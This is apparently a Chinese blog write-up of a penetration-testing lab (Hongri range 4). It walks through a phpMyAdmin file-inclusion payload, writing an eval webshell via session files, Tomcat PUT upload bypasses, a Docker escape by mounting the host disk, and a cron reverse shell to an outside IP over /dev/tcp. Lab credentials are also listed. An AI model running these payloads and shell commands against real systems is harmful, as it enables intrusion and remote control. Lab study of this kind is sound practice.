MENU

红日安全靶场4

October 7, 2022 • Read: 1204 • Web

红日安全靶场4学习记录

环境搭建及配置

靶场下载地址:http://39.98.79.56/vuln/detail/6/
靶场拓扑图:
Pasted image 20220930091718.png

环境配置:

  • ubuntu:ubuntu (sudo docker start ec 17 09 bb da 3d ab ad 启动靶场环境)
  • douser:Dotest123
  • administrator:Test2008 更新为Test2022

这里如果是Mac的话需要配置一下域内的网络情况,不然容易连不通
Ubuntu是双网卡,一张nat,一张仅主机,并配置分配一个静态ip

auto eth1
iface eth1 inet static
address 192.168.183.22
gateway 192.168.183.1
netmask 255.255.255.0

其余的两台域内主机配置成仅主机即可。
Pasted image 20221003181413.png

当域内主机能ping通Ubuntu即可
Pasted image 20221003181734.png

外网渗透

信息收集

nmap -sS -sV ip 快速查看目标机器端口及开放端口
经探测可发现

  • 2001是文件上传且存在struct2框架,存在漏洞
  • 2002端口是Tomcat,存在put任意文件上传漏洞
  • 2003是phpmyadmin后台
    Pasted image 20221005105609.png

phpmyadmin远程文件包含getshell

Pasted image 20221006220914.png
版本4.8.1存在CVE-2018-12613 远程文件包含,
payload
?target=tbl_zoom_select.php?/../../../../../../etc/hosts

Pasted image 20221006221030.png

由于是docker环境,不能利用写木马到数据库然后包含frm文件。因为vulhub是利用站库分离的搭法,这样我们插入木马到某个表中,payload会保存在数据库系统里,而不是web服务器上。

因此利用session写入shell的方式进行getshell
原理:
Http协议是一种无状态协议,即每次服务端接收到客户端的请求时,都是一个全新的请求,服务器并不知道客户端的历史请求记录;

**Session的主要目的就是为了弥补Http的无状态特性。简单的说,就是服务器可以利用session存储客户端在同一个会话期间的一些操作记录;

**因此这里相对应的sql的查询历史也会出现在session中,若是一句话木马出现在session中,那么就可以使用远程文件包含取得shell了。

session常见的一些保存路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session文件的存储路径是分为两种情况的

一是没有权限,默认存储在/var/lib/php/sessions/目录下,文件名为sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到(一般在利用漏洞时我们自己设置phpsessid

二是phpmyadmin,这时的session文件存储在/tmp目录下,需要在php.ini里把session.auto_start置为 1,把session.save_path目录设置为/tmp

直接执行SELECT "<?php phpinfo();?>"
可以看到确实被保存到了sess_sessid中去了。
Pasted image 20221006233022.png
Pasted image 20221006233046.png

文件包含直接返回了PHPinfo的页面,查看CONTEXT_DOCUMENT_ROOT的内容,得知网站根目录为/var/www/html 这个有大用
Pasted image 20221006235204.png

接着使用文件包含将一句话木马写到网站目录下,尝试过将一句话木马直接写在包含文件中是不可以进行连接的。毕竟只是包含并不是真正的接收参数的页面

select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]);?>')?>"

将该内容写入到session中,再次包含,在网站目录访问cmd.php 即可。
Pasted image 20221006235447.png

这里由于docker环境缺少太多必要的东西导致无法成功逃逸,并且提取成功无法切换用户

Tomcat 任意文件上传

CVE-2017-12615 主要是利用这个漏洞进行文件上传
使用PUT方法上传一个冰蝎马
漏洞原理
由于配置不当(非默认配置),将配置文件conf/web.xml中的readonly设置为了 false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀的上传

根据描述,在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码

通过阅读 conf/web.xml 文件,可以发现,默认 readonly 为 true,当 readonly 设置为 false 时,可以通过 PUT / DELETE 进行文件操控

jsp限制绕过
但是该上传对jsp后缀进行简单的过滤,可以用以下三种方法进行绕过

  • 在jsp后缀加上%20,即空格直接忽略
  • 在jsp后缀后面使用/,因为/在文件名中是非法的,在windows和linux中都会自动去除。
  • 在jsp后缀使用Windows NTFS流,在jsp后面添加::$DATA
    Pasted image 20221006153923.png

docker逃逸

通过冰蝎马拿到shell之后发现很多命令无法使用,怀疑存在docker环境,这里用命令cat /proc/1/cgroup 来探测是否在docker环境里
一般来说,docker里会更长一点。
Pasted image 20221006215926.png

使用fdisk -l 查看宿主机的分区
Pasted image 20221005110037.png

使用mount /dev/sda1 ./test 挂载到当前目录下新创建的test文件夹中
进入test则可以看见一份vmLinux,则大概率已经进入到宿主机的目录下了。
Pasted image 20221005110317.png

通过写计划任务,反弹出宿主机的shell
由于docker里没有vi vim ,因此只能用echo来向/var/spool/cron/crontabs/root 写入计划任务了。

echo "* * * * * bash -c 'bash -i >& /dev/tcp/192.168.197.1/7777 0>&1'">root
这里为什么用bash -c呢,其实主要是踩坑试验出来的。
Pasted image 20221005110735.png

在ubuntu docker中,/bin/sh的指向大多数是dash,这就导致了无法成功反弹
那么有两种办法可以解决

  1. ls -al /bin/sh 查看指向
  2. ln -s -f bash /bin/sh 修改指向
  3. bash -c 'bash -i >& /dev/tcp/192.168.197.1/7777 0>&1' 使用bash -c直接执行

内网渗透

docker逃逸成功后,使用msf上线以获取更多权限以及方面后渗透
可以看到存在两张网卡,一个是197段一个是198段(临时更改了),使用fscan对198段进行一个初步的信息探测
可以看到内网就两台机器,一台是138的win7,一台是140的win2008。并且探测出存在ms17-010。
![[Pasted image 20221006154402.png]]

使用ms17-010打入win7,然后使用ms14-068横移获得域控权限
这里可以参考

红日安全靶场一

总结

这次的靶机内网部分并无特别多的骚操作,主要是外网部分学习到了很多。

  1. session配合文件包含写shell
  2. Tomact除了弱口令上传war包还有两个常见的cve
  3. 学习到了docker逃逸的新姿势

参考资料:

  1. 排查Ubuntu反弹shell的
  2. session写shell的操作
  3. docker逃逸
Leave a Comment

本站总访问量 32657 次